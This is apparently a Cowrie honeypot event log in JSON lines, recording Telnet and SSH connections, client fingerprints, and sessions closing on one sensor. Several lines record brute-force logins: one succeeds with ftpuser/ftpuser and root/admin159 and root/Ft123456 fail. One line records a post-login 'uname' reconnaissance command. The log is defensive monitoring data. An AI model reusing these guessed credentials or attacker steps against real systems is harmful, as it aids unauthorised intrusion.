{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:52.679697Z","src_ip":"122.168.114.167","session":"219879a6d4a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":40078,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dcdffdeabae","protocol":"telnet","message":"New connection: 108.61.224.215:40078 (159.203.135.109:23) [session: 2dcdffdeabae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:53.052033Z"}
{"eventid":"cowrie.session.closed","duration":30.51199197769165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:53.292488Z","src_ip":"103.171.45.122","session":"196a8fef5679","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":43266,"dst_ip":"159.203.135.109","dst_port":23,"session":"a47bc5e005d5","protocol":"telnet","message":"New connection: 157.15.20.138:43266 (159.203.135.109:23) [session: a47bc5e005d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:53.317359Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":43288,"dst_ip":"159.203.135.109","dst_port":23,"session":"243ac9adc026","protocol":"telnet","message":"New connection: 157.15.20.138:43288 (159.203.135.109:23) [session: 243ac9adc026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:53.659002Z"}
{"eventid":"cowrie.session.closed","duration":120.00169610977173,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:55.890821Z","src_ip":"109.224.242.7","session":"a2c65abde04b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":60988,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cbebf43ddbb","protocol":"telnet","message":"New connection: 108.61.224.215:60988 (159.203.135.109:23) [session: 5cbebf43ddbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:55.950390Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":32902,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a897c783f6b","protocol":"telnet","message":"New connection: 62.171.133.168:32902 (159.203.135.109:23) [session: 9a897c783f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:56.372924Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":51976,"dst_ip":"159.203.135.109","dst_port":23,"session":"460a1a2dfb7a","protocol":"telnet","message":"New connection: 34.69.118.1:51976 (159.203.135.109:23) [session: 460a1a2dfb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:56.524453Z"}
{"eventid":"cowrie.session.closed","duration":30.737889289855957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:56.994808Z","src_ip":"62.171.133.168","session":"2e016bf2b18f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50526,"dst_ip":"159.203.135.109","dst_port":23,"session":"f27144869e74","protocol":"telnet","message":"New connection: 34.69.118.1:50526 (159.203.135.109:23) [session: f27144869e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:57.940507Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":60990,"dst_ip":"159.203.135.109","dst_port":23,"session":"5824d1e49e4e","protocol":"telnet","message":"New connection: 108.61.224.215:60990 (159.203.135.109:23) [session: 5824d1e49e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:58.004353Z"}
{"eventid":"cowrie.session.closed","duration":30.76269221305847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:58.258729Z","src_ip":"103.171.45.122","session":"a5f2c7a36175","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.285113096237183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:59.265231Z","src_ip":"103.171.45.122","session":"3efdc7a52f26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":32918,"dst_ip":"159.203.135.109","dst_port":23,"session":"58c71acda4e0","protocol":"telnet","message":"New connection: 103.171.45.122:32918 (159.203.135.109:23) [session: 58c71acda4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:27:59.949493Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":32768,"dst_ip":"159.203.135.109","dst_port":23,"session":"b75fa66168ae","protocol":"telnet","message":"New connection: 108.61.224.215:32768 (159.203.135.109:23) [session: b75fa66168ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:00.099488Z"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:00.168370Z","src_ip":"122.168.114.167","session":"219879a6d4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.021751880645752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:00.271234Z","src_ip":"103.171.45.122","session":"d8982ee40f54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.745219230651855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:00.483134Z","src_ip":"157.15.20.138","session":"e4fea33c2fb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.381657123565674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:01.206650Z","src_ip":"103.171.45.122","session":"7e9ee058e5db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00120878219604,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:01.230409Z","src_ip":"109.224.242.7","session":"2267ea5f2b38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":32934,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5cca6618cbe","protocol":"telnet","message":"New connection: 103.171.45.122:32934 (159.203.135.109:23) [session: b5cca6618cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:01.926661Z"}
{"eventid":"cowrie.session.closed","duration":30.27125334739685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:02.134777Z","src_ip":"157.15.20.138","session":"6f165a570f5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871574878692627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:02.198947Z","src_ip":"104.236.196.85","session":"2ace5f9d9ba7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":60980,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e8e8fd4b52c","protocol":"telnet","message":"New connection: 62.171.133.168:60980 (159.203.135.109:23) [session: 7e8e8fd4b52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:02.893887Z"}
{"eventid":"cowrie.session.closed","duration":30.331565856933594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:03.032277Z","src_ip":"62.171.133.168","session":"622c6e8cd202","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46388292312622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:03.234885Z","src_ip":"103.171.45.122","session":"26f02975fd2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.525971174240112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:03.255691Z","src_ip":"103.171.45.122","session":"c78e216cc0cb","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:04.135767Z","src_ip":"122.168.114.167","session":"219879a6d4a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:04.139596Z","src_ip":"122.168.114.167","session":"219879a6d4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.203669786453247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:04.493141Z","src_ip":"62.171.133.168","session":"69165ac83429","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.7","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:05.869780Z","src_ip":"122.168.114.167","session":"219879a6d4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:05.875332Z","src_ip":"122.168.114.167","session":"219879a6d4a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":37312,"dst_ip":"159.203.135.109","dst_port":23,"session":"62f618790994","protocol":"telnet","message":"New connection: 103.171.45.122:37312 (159.203.135.109:23) [session: 62f618790994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:06.001523Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":51386,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a5d652aa8a3","protocol":"ssh","message":"New connection: 190.108.60.101:51386 (10.17.0.5:22) [session: 2a5d652aa8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:06.438324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:06.447087Z","src_ip":"190.108.60.101","session":"2a5d652aa8a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:06.653212Z","src_ip":"190.108.60.101","session":"2a5d652aa8a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.74019479751587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:07.240250Z","src_ip":"104.236.196.85","session":"87b132e927ef","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin159","message":"login attempt [root/admin159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:07.507760Z","src_ip":"190.108.60.101","session":"2a5d652aa8a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":48822,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aac22bc3ce5","protocol":"telnet","message":"New connection: 34.69.118.1:48822 (159.203.135.109:23) [session: 2aac22bc3ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:07.899597Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":37324,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b00c972f70a","protocol":"telnet","message":"New connection: 103.171.45.122:37324 (159.203.135.109:23) [session: 9b00c972f70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:08.614839Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:08.716574Z","src_ip":"190.108.60.101","session":"2a5d652aa8a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":59594,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b5cb4b3e54c","protocol":"telnet","message":"New connection: 157.15.20.138:59594 (159.203.135.109:23) [session: 5b5cb4b3e54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:09.653665Z"}
{"eventid":"cowrie.session.closed","duration":30.865604162216187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:09.987923Z","src_ip":"62.171.133.168","session":"e2cd38a7340a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.730417490005493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:11.111809Z","src_ip":"62.171.133.168","session":"250c26f2f094","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71443486213684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:11.268631Z","src_ip":"103.171.45.122","session":"f785966383bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.171154260635376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:11.311317Z","src_ip":"104.236.196.85","session":"c140d99fc5b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945473432540894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:11.352644Z","src_ip":"104.236.196.85","session":"abd0da9c862a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.91702914237976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:12.193305Z","src_ip":"34.69.118.1","session":"16fbafac1bb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76121687889099,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:12.256645Z","src_ip":"103.171.45.122","session":"3fb3c659fbe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692099571228027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:13.040031Z","src_ip":"62.171.133.168","session":"0939c701ad95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.777920484542847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:13.063666Z","src_ip":"62.171.133.168","session":"ca0edaa7eda0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":59610,"dst_ip":"159.203.135.109","dst_port":23,"session":"0514a72591a3","protocol":"telnet","message":"New connection: 157.15.20.138:59610 (159.203.135.109:23) [session: 0514a72591a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:13.881250Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":47644,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e01c8ab79aa","protocol":"ssh","message":"New connection: 113.163.156.190:47644 (159.203.135.109:22) [session: 1e01c8ab79aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:13.938353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:13.943607Z","src_ip":"113.163.156.190","session":"1e01c8ab79aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.750978231430054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:14.109173Z","src_ip":"62.171.133.168","session":"6122cf7c10cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.500041246414185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:14.187874Z","src_ip":"157.15.20.138","session":"7ff35c0d9b9e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:14.193528Z","src_ip":"113.163.156.190","session":"1e01c8ab79aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ft123456","message":"login attempt [root/Ft123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:15.226409Z","src_ip":"113.163.156.190","session":"1e01c8ab79aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:16.477947Z","src_ip":"113.163.156.190","session":"1e01c8ab79aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.74092936515808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:17.967117Z","src_ip":"62.171.133.168","session":"fa9d3e7a0af2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":37322,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b9b98758230","protocol":"telnet","message":"New connection: 103.171.45.122:37322 (159.203.135.109:23) [session: 9b9b98758230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:18.011551Z"}
{"eventid":"cowrie.session.closed","duration":30.740138292312622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:19.011202Z","src_ip":"62.171.133.168","session":"ccc27ee7fafb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":38484,"dst_ip":"159.203.135.109","dst_port":23,"session":"a62dbfb2f673","protocol":"telnet","message":"New connection: 104.236.196.85:38484 (159.203.135.109:23) [session: a62dbfb2f673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:19.186504Z"}
{"eventid":"cowrie.session.closed","duration":31.17797589302063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:19.234298Z","src_ip":"62.171.133.168","session":"bdb6e375aa3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":41198,"dst_ip":"159.203.135.109","dst_port":23,"session":"c59e2445f9cf","protocol":"telnet","message":"New connection: 62.171.133.168:41198 (159.203.135.109:23) [session: c59e2445f9cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:19.239597Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":33258,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ca6b7a9e320","protocol":"telnet","message":"New connection: 157.15.20.138:33258 (159.203.135.109:23) [session: 9ca6b7a9e320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:20.764088Z"}
{"eventid":"cowrie.session.closed","duration":30.59277033805847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:21.968375Z","src_ip":"162.214.220.154","session":"fbaf9bbedf40","protocol":"telnet"}
